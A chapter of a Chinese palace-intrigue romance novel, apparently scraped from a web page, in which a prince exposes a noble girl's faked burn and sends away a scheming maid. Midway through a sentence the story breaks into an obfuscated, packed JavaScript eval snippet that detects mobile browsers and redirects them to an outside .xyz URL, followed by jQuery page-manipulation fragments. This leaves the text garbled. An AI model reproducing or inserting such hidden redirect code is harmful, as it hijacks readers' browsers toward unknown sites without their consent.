26. 第二十六章

作品:《嫁给死对头竹马后成了独宠

    钟离桑察觉到槿桑轻微的动作,眼底闪过一丝了然。


    他一脸关切道:“多谢槿桑郡主体谅,不过烫伤若是治的不好,恐怕会留下伤疤,太医院的陈院正最擅长诊治皮肤的伤疾,我这就差人请他过来,看看你的伤口,也好对症下药。”


    “谢五皇子的好意。”槿桑眼睛澄亮,晃了晃自己的手臂,故意露出里面白色的绷带。


    她有些为难的说道:“只是我这伤口已经涂过药物,大夫说这几日都不能再拆开,太医院诸事繁忙,就不劳烦陈院正了。”


    槿桑心中暗衬,果然不出所料,这个钟离桑对她已经生疑,定会找人给她看伤,还好她提前找了个假大夫,将手臂用布条包扎起来,不然今天还真不好蒙混过去了。


    “说来倒底是那工匠的错,献宝时曾对父皇说这青瓷茶盏材质冰寒,便是遇上烈火焚烧,也需足足一个时辰才会渐渐碎裂。谁曾想,刚落入火中,竟迸溅出滚烫火星伤着了槿桑郡主。”


    钟离桑轻轻呼出一口气,眼神有意无意的瞥向槿桑。


    槿桑顿时瞪大了眼睛,没想到那个青瓷茶杯的材质还有这个说法,钟离桑非要当着父亲面前提及此事,不就是摆明着说她故意装受伤诬陷他么?


    够狠。


    槿桑还是低估他了。


    话说到这里便算点到即止了,钟离桑微微侧身让开道路,面上依旧先让有礼,只是眼角眉梢藏着一丝几不可察的笑意,快得像掠过水面的风,转瞬便隐在了温和的神色里。


    “请。”


    镇北侯先是瞥了槿桑一眼,目光转而又落在钟离桑身上,沉默片刻后,在马背上微微颔首,拱手作别。


    “微臣告退。”


    钟离桑点头。


    镇北侯骑马缓缓前行,身后的马车也随之跟着行走。


    槿桑坐在马车里,擦肩而过时,感到一股视线,侧眸的瞬间与钟离桑的目光相撞。


    钟离桑的嘴角微微勾起,墨玉般的眸子露出一抹意味深长的笑意。


    忽然,他动了动唇,用口型无声地比出几个字。


    “静候抄书之期矣。”


    槿桑一眼便看懂了他的意思,顿时气得咬着下唇,猛地抬手拉下车窗的帘子,将他的视线挡去,心里骂了钟离桑千百遍,隐隐担忧父亲刚刚是否会听信他的话。


    早知如此,方才她就应该把那个黑衣人引到昭阳殿,把钟离桑的昭阳殿搅个天翻地覆,看他还有没有这闲情逸致来招惹自己。


    都怪自己太善良了。槿桑心中愤愤不平,咬牙切齿道:“钟离桑,你等着!”


    钟离桑站在原地,望着那辆渐行渐远的马车,想到刚刚槿桑气急败坏的模样,桃花眼里满是幸灾乐祸的笑意。


    他的心情顿时大好,连带今晚发生的不快也消了些。


    方才钟离桑故意透露槿桑伤是假的,去看的大夫也是假的,镇北侯虽然面无异色,但是心中难免不会起疑。


    镇北侯一向处事严苛,如果发现槿桑如此任性妄为,定然会惩罚她。


    钟离桑自从上次拜访陌府,从舜华长公主的口中得知槿桑最怕抄书,心里忽然有个想法,如果他再送些书过去,想必槿桑这几个月也能安生些了。


    想到这里,钟离桑重坐上轿辇,语声低沉悦耳:“去藏书阁。”


    随行的宫女婵儿不解,连忙上前,呈上一件宝蓝色的披风,柔声劝道:“五皇子,天色渐晚,夜风微凉,不如明日再去上书房吧,这是莲儿给您做的披风,您看看是否合身?”


    “本皇子要做的事,何时轮得到你来多嘴?”钟离桑似笑非笑的盯着宫女,声音微沉,目光扫过那件披风时,微微停顿。


    那披风的布料并非稀有,但是上面似是用金线绣出的云采图纹,边缘还镶着一排细碎的珍珠。


    虽然昭阳殿宫人的月钱尚可,但是绝买不起这样的华贵之物。


    钟离桑笑意倏然敛去,缓缓说道:“打发回去罢。”


    所谓回去,就是各宫主子如果不喜欢伺候的宫人,便可将人打发回尚宫局调教,再分给其他各宫。


    婵儿大惊失色,脸“唰”的一下惨白,没想到献殷勤会遭到钟离桑的厌恶,立刻跪在地上,委屈的望着钟离桑,轻声道:“奴婢知错,奴婢再也不敢了,五皇子,您不要赶奴婢走,求求您了。”


    “你既然善于纺织,不如分到司衣局,也免得浪费了你的本事。”钟离桑看她的眼神多了一丝嘲讽。


    他的这番话明里暗里都是在敲打她不该生出那些小心思,妄想用一件披风就来打动钟离桑,简直异想天开。


    婵儿哽咽着,小鹿般的眼神溢出了眼泪,看起来楚楚可怜。“奴婢是在空暇时做了这件披风,十指都被磨破了,五皇子,您别赶奴婢走,奴婢再也不敢逾矩了。”


    若是旁人见此景,多半都会不忍再责罚,偏偏这宫里最不吃这套的就是钟离桑和钟意满。


    钟离桑被她吵的有些心烦,当即朝着小印子使了个眼色。


    小印子心领神会,快步上前,挡在钟离桑身前,严肃道:“你当着宫里是何等地方,大呼小叫,不成体统,你们,还不快把她拉走送回尚宫局。”


    两个侍卫立即上前领命,其中一人利索掏出一团布塞进宫女的嘴里,不用多时,宫女就被上面的迷药弄昏了过去,另一人扛起她就往尚宫局走去。


    小印子砸吧砸吧嘴,挥了挥手里的拂尘,吩咐侍卫抬起轿辇,去往藏书阁。


    步辇微微晃动,钟离桑手指轻按着眉角,懒懒的扫了一眼下方,思索着问道:“昭阳殿最近进来的宫女是谁负责的?”


    小印子垂眸沉思,凑到钟离桑旁边,说道:“这些宫女都是前两个月从尚宫局那边拨过来的,统共有六人,听说都是陈嬷嬷特意挑进来的。”


    “陈嬷嬷。”钟离桑若有所思的呢喃,如今并不是各宫选人的时期,陈嬷嬷怎么会突然往宫里进人?


    随后他抬手低声吩咐小印子:“你去查一下陈嬷嬷最近在宫里的花销,悉数送到无眠那里,他自知何意。”


    “是。”小印子点头,片刻后,又犹豫的悄声问道:“那剩下的五名宫女怎么处置?”


    钟离桑神情微沉,语气十分坚决。“全部送回去。”


    小印子微微张着嘴,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991489|177330||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呆愣了好一会才道:“殿下,您在宫中的近身侍从本就不多,一个细雨女侍卫,加上陈嬷嬷与木犀,也不过才三位女眷在侧。”


    “宫外虽有三十余名侍女待命,但您除了举办宴会几乎从不踏足那边。若是此刻将那些宫女都发落回去,随身伺候您的女子也太少了些。”


    钟离桑眉梢微挑,语气带着几分漫不经心:“我要那么多女子跟着做什么?”


    小印子一噎,心里暗自嘀咕,五皇子今年十四岁,正是血气方刚的时候,按宫里的规矩早该挑几个容貌出挑的宫女近身伺候了,可是五皇子偏偏对这些事毫无兴趣,甚至有些过于不近女色。


    就像方才被侍卫拉下去的那名宫女,生得花容月貌,哭起来梨花带雨,惹得他都有心软,五皇子却眼皮都没抬一下,反而还一脸嫌弃。


    “小印子,我发现你这差事做的当真是愈发好了。”钟离桑微微斜眸,嘴角扬起弧度,“都替我操心着男女之事了。”


    “奴才不敢,奴才只是担心长此以往,宫里会传您的闲话,不过主子说什么奴才就做什么,自当以您为先。”小印子端起拂尘赔着笑容,他自小陪着五皇子长大,最是清楚这位主子的脾气。


    五皇子最烦旁人干涉他的事情,更不用说改变他的决定。


    钟离桑凝眉嗤了一声,声音平淡。“若是本皇子连用几个宫女,都要被旁人的闲言碎语牵着走,这日子过得未免也无趣了些。”


    小印子点头,连忙顺着话头奉承道:“五皇子言之有理,奴才到底是见识浅薄,看事情太过片面,不如您看得通透,往后还需多听殿下的指教才是。


    钟离桑凝神片刻,随即轻笑道:“小印子。”


    小印子眼睛亮亮的,回道:“五皇子有何吩咐?”


    钟离桑说道:“你拍马屁的功夫倒是越来越好了。”


    小印子:……


    槿桑跟随镇北侯回到陌府,刚踏入内院,镇北侯便扬手屏退了身后的将士。


    他朝着槿桑一瞥,目光沉沉,冷声道:“槿儿,跟父亲去书房。”


    槿桑见状心里一紧,想要找个由头溜之大吉。


    她撇了撇嘴,上前拉着侯爷的袖子轻轻晃了晃,试图撒娇蒙混过去。“父亲,儿臣有些困了,有事不如明天再说呀。”


    镇北侯却不吃这一套,眉峰蹙起,语气微沉:“若是不想让你母亲知道这些事,就跟我去书房。”


    说完,镇北侯头也不回的走向书房。


    这话戳中了槿桑的软肋,母亲要是知道肯定又要斥责她很久,没有办法,她只好不情不愿地跟了上去。


    刚进书房,镇北侯便让屋里伺候的婢女都出去。


    关上门,一圈侍卫侍卫把守在门外。


    等到屋里只剩父女两人,镇北侯转身看向槿桑,眉眼间凝着几分严肃,说道:“槿儿,把手伸出来。”


    槿桑的眼神有些闪躲,目光对上镇北侯锐利的目光,心中清楚父亲定会验伤,既然躲不过去,索性直接承认。


    她仰起头,摆出一副理直气壮的模样,直言道:“女儿并无大碍,所谓的烫伤就是故意装的。”